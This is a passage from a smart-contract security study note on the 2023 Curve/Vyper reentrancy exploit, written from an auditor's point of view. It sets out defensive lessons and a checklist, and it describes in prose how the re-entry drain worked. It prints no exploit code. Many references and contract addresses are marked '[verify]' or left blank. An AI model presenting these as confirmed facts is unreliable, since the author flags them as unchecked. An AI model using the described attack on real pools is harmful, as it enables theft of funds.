This is a 30-line Foundry test. It would have caught the Curve bug. Make it a standard line item for any audit of a pool / vault / lending market with @nonreentrant or ReentrancyGuard.

7.4 Pin compiler versions; never auto-upgrade

In Vyper, the version is declared at the top of the file:

# @version 0.3.7

In Solidity, the pragma:

pragma solidity 0.8.20;   // exact
// vs.
pragma solidity ^0.8.0;   // wildcard — DANGEROUS for redeployment

Lessons:

  • Use exact versions, not floating pragmas, in any contract you intend to deploy. The wildcard ^0.8.0 means “anything from 0.8.0 to 0.8.x” — a future release with a codegen bug becomes your contract’s bug.
  • Re-audit after compiler upgrades. A minor version bump (0.8.19 → 0.8.20) can change codegen for via-IR, optimizer behavior, ABI encoding. Treat compiler upgrades like dependency upgrades — they require regression testing.
  • Check the deployed bytecode’s compiler version against advisory lists. For Vyper specifically: 0.2.15, 0.2.16, 0.3.0 are known-broken. Sourcify / Etherscan metadata tells you which compiler produced the deployed bytecode.

7.5 Mid-state inconsistency is the underlying primitive

The Curve bug is structurally identical to The DAO bug at the EVM level — both are reentrancy. The difference is where the lock was missing:

  • DAO: no lock at all (lock primitive didn’t exist culturally yet).
  • Curve: lock written in source, missing in bytecode.

In both cases, the exploit’s underlying primitive is the same: execution leaves the contract while the contract’s state is partially updated. The attacker re-enters and observes inconsistent state.

The auditor’s general defense is invariant-driven:

Identify every external call in your contract. For each, write down the contract’s invariants. Verify those invariants hold both before the external call and after. If they hold after the call but not at the moment of the call (mid-state), that’s a reentrancy primitive.

For remove_liquidity:

  • Invariant: lpOf[user] * pool.totalSupply >= lpOf[user]_before_call * totalSupply_after_call (the user’s claim against the pool can never exceed their original LP fraction).
  • This invariant is violated mid-call when one coin’s balance has been decremented but totalSupply and lpOf[user] haven’t.
  • The lock’s job is to prevent any observer (i.e., re-entrant code) from seeing the invariant-violated mid-state.
  • If the lock is missing or broken, the mid-state is observable, and any function that uses totalSupply or balances[] during that window pays out wrong.

7.6 Public mempool dynamics — defense, not just offense

The c0ffeebabe.eth recovery is a happy data point for the public mempool. But the audit lesson is bidirectional:

  • Defensive opportunity: known white-hat MEV searchers monitor exploit-shaped transactions. Reputable protocols can engage with these searchers proactively — set up war rooms, sign retainer agreements, establish “if you intercept funds on our behalf, here’s our bounty schedule and contact path.”
  • Offensive risk: if your protocol’s exploitable transactions go to a private mempool (Flashbots Protect, MEV-Share, OFAs), the white-hat opportunity is reduced. Conversely, a protocol relying on a private mempool for its own operations (e.g., a vault that auto-rebalances) needs to know that its emergency-response options are reduced when an exploit is in flight.

This is a Tuan-09 topic (oracle / MEV / economic), but Curve made it real: the existence of friendly MEV searchers is part of Ethereum’s defensive perimeter, and protocols should account for it both ways.

7.7 Founder leverage as systemic risk

The Egorov-CRV-loans episode is the lesson nobody put on a checklist before July 2023 but everyone should put on one now.

Audit checklist addition:

  • Does the protocol have a governance token?
  • Is that token liquid (depth at $1M trade size)?
  • Is the founder or core team known to be leveraged on the token?
  • If liquidated, does the protocol’s lending venue (Aave, Spark, Frax, Morpho) face bad debt?
  • Are there forced-liquidation mechanisms that could cascade?

These are protocol-economic questions, not smart-contract questions, but they’re real risks to the protocol’s continuity. Curve survived this; a smaller protocol with less liquid governance token wouldn’t have.


8. What You Would Have Caught (Pre-Attack Auditor Exercise)

If a Curve factory pool deployed against Vyper 0.2.15 / 0.2.16 / 0.3.0 had landed in your inbox in June 2023 — one month before the public disclosure — here’s what the modern auditor’s playbook should have flagged.

8.1 Immediate fires (under 5 minutes)

SignalWhy it fires
Pool holds raw ETH (not WETH) and transfers via raw_callEvery raw-ETH transfer is a reentry vector to the recipient’s receive/fallback. Pools should default to WETH; raw-ETH pools require stricter reentrancy proof.
@nonreentrant("lock") on the functionGood — but: how is the lock implemented in bytecode? Standard audit oversight: trust the decorator without verification.
Source claims remove_liquidity is locked; this is the load-bearing protectionThe protection is fragile to compiler bugs. Demand bytecode-level verification of the lock’s SLOAD/SSTORE pair.
Vyper version <0.3.1This should be a checklist item against a CVE-style list. As of mid-2023, the bug wasn’t public, but the Vyper changelog for v0.3.1 (released in late 2022) had hints about reentrancy-decorator fixes that a paranoid auditor would investigate. [verify whether the 0.3.1 changelog publicly described the lock fix or whether the bug was silently patched]
totalSupply and lpOf updates after the external callEven with a working lock, putting state updates after the external call is a defensive failure. Best practice: update everything before the external call (full CEI). The Curve pools partial-CEI’d (updated coin balances but not totalSupply/lpOf). Fixing this would have prevented the exploit even with the broken lock. This is the single most important takeaway: CEI is the structural defense; the lock is the runtime defense; never rely on only one.

8.2 Secondary signals (next 30 minutes)

  • Composability assumptions: the pool’s LP token (CRV LP) is widely consumed by external lending protocols as collateral. Even if the pool itself is locked, mid-state reads via get_virtual_price() are a separate read-only-reentrancy vector. (Curve had partial protection for this on newer pools; older pools didn’t.)
  • No fork-test of reentrancy attempt in the project’s CI: a single forge-test attempting to re-enter the lock from a malicious receiver should be in the test suite. Its absence is a process finding even if the lock works.
  • Differential testing absent: no Solidity-port of the pool’s critical functions exists. For a high-TVL protocol, this is a process gap worth flagging.
  • Compiler-version pin reviewed by audit team only at source level, not bytecode level: did the audit verify the metadata hash of the deployed bytecode matches the audited source compiled with the audited compiler version? Or did they trust the source/version declaration?

8.3 The 5-minute auditor verdict

“This pool relies on @nonreentrant('lock') to prevent reentry during remove_liquidity. The lock is a compiler-provided primitive in Vyper. The audit should: (a) verify the lock’s bytecode pattern in deployed code; (b) demand defense-in-depth — move totalSupply and lpOf updates before the external call, so the contract is safe even if the lock fails; (c) flag the Vyper version <0.3.1 as a yellow card pending the Vyper team’s confirmation that the version is bug-free in this regard. Severity if (a) is broken: critical (full pool drain). PoC: a minimal contract that adds liquidity, removes it, and re-enters in the receive callback to a single-coin removal — drains over fair share.”

That paragraph plus a 100-line Foundry PoC would have been the finding. The patch (move state updates pre-call) is a 4-line diff in the Vyper source and would have prevented $50M+ in losses.

8.4 What this teaches about audit methodology

The Curve pools were audited multiple times by reputable firms across 2021–2023. None caught the bug. The methodological gaps:

  1. Source-only review. Auditors trusted that @nonreentrant was correctly implemented in Vyper. None disassembled the bytecode to verify.
  2. Partial-CEI tolerance. Auditors accepted “balances updated, totalSupply not” as fine because the lock would prevent observation of the inconsistency. Modern audits should treat partial-CEI as a finding regardless of locks — defense in depth.
  3. No compiler-version risk register. No standard audit deliverable enumerated “what compiler bug could break this contract?” The Solidity ecosystem started doing this around 2024; Vyper’s smaller community didn’t have the muscle memory.
  4. No fork-test of reentrancy. The exploit’s PoC, in 2025 hindsight, is a 60-line Foundry test. In 2022 — pre-incident — that test was nobody’s checklist item.

The Curve case has updated the playbook permanently. If your audit deliverable doesn’t include a “compiler trust” section, you’re auditing 2021-style.


9. References

Primary disclosures

Post-mortems and analyses

White-hat MEV recovery

Bounty and identification

Egorov / CRV loan crisis

  • DefiLlama dashboard — Egorov’s positions (historical snapshot): https://defillama.com — search Egorov / CRV [verify specific historical URLs]
  • DLNews — coverage of CRV OTC sales and de-risking: https://www.dlnews.com [verify specific article URLs]

Curve and pool documentation

Etherscan key addresses

  • CRV/ETH pool (Curve crypto pool, v2): 0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511 [verify on Etherscan]
  • pETH/ETH pool (JPEG’d): 0x9848482da3Ee3076165ce6497eDA906E66bB85C5 [verify on Etherscan]
  • alETH/ETH pool (Alchemix): 0xC4C319E2D4d66CcA4464C0c2B32c9Bd23ebe784e [verify on Etherscan]
  • msETH/ETH pool (Metronome): [verify on Etherscan]
  • c0ffeebabe.eth ENS resolution: query ENS for current address; July 2023 activity is at the ENS-resolved address [verify]
  • Curve deployer address (recovery recipient): [verify on Etherscan]
  • Attacker addresses (per-pool): multiple, traced on Etherscan and DefiLlama hack dashboard [verify]

Vyper post-incident audits

  • Statemind audit of Vyper compiler (post-incident, late 2023): https://statemind.io [verify specific report URL]
  • Subsequent compiler audits commissioned 2024+: [verify list]

Last updated: 2026-05-16 See also: Case-The-DAO-Reentrancy-2016 · Case-Cream-Iron-Bank-2021 · Case-Penpie-Pendle-2024 · Case-Parity-Multisig-2017 · Case-Euler-Finance-2023 · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-09-Oracle-MEV-Economic-Attack · audit-checklist-master · Roadmap · References